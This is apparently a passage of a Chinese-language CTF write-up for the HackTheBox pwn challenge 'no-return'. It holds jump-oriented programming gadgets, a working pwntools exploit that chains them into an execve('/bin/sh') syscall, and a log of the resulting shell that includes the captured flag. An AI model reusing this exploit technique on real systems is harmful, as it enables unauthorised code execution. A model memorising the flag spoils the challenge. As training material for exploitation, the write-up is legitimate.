0x401000: pop rsp 0x401001: pop rdi 0x401002: pop rsi 0x401003: pop rbp 0x401004: pop rdx 0x401005: pop rcx 0x401006: pop rbx 0x401007: xor rax,rax 0x40100a: jmp QWORD PTR [rdi+1]
如果在buffer的dispatch表之前使rbx 8和rbx point 8字节,以下会是很好的dispatcher gadget:
1 2 3
0x40103c: add rbp,rbx 0x40103f: fwait 0x401040: jmp QWORD PTR [rbp-0x39]
p = remote('167.99.86.47', int(sys.argv[1])) #p = process('./no-return') #context.log_level = 'debug'
#for debugging, attach when prompt for read, and then just hit step stackleak = u64(p.recv(8)) log.info("Stack leak:" + hex(stackleak)) bufferbase = stackleak - 0xb0
payload = (p64(0x40103c) + p64(bufferbase-0x8-0x1) #rdi + p64(0) #rsi + p64(bufferbase+0x30+0x8+0x39) #rbp, remember to adjust to dispatch table, will do later, and make it 0x8 lower because of the add instruction + p64(bufferbase-0x8) #rdx + p64(bufferbase-0x8) #rcx + p64(0x8) #rbx, so it becomes good incrementation for dispatch table + "/bin/sh\x00" + p64(59) #rsp will point there, two pops until rdx, so that will be good + p64(0x401067) #dispatch to xchg gadget for rdi and rcx + p64(0x40101c) #mov rsp address to rcx + p64(0x401067) #restore dispatcher to rcx, mov /bin/sh to rdi + p64(0x40104c) #set rdx to 59 + p64(0x40105a) #rdx to null, rax to rdx old rdi value, which is 59 + p64(0x401099) #syscall + '').ljust(0xb0, 'A') + p64(0x401000) + p64(bufferbase) p.sendline(payload) p.interactive()
运行脚本获取flag:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
┌──(root💀kali)-[~/hackthebox/challenge/pwn/noreturn] └─# python getshell.py 32664 [+] Opening connection to 178.62.0.100 on port 32664: Done [*] Stack leak:0x7ffdebc61b20 [*] Switching to interactive mode $ id uid=999(ctf) gid=999(ctf) groups=999(ctf) $ whoami ctf $ ls 11a866b981670122c056ee96ebb0796910a7495dc3ee2368fd127626af9e1b16-flag.txt no-return run_challenge.sh $ cat 11a866b981670122c056ee96ebb0796910a7495dc3ee2368fd127626af9e1b16-flag.txt HTB{y0uv3_35c4p3d_7h3_v01d_0f_n0_r37urn}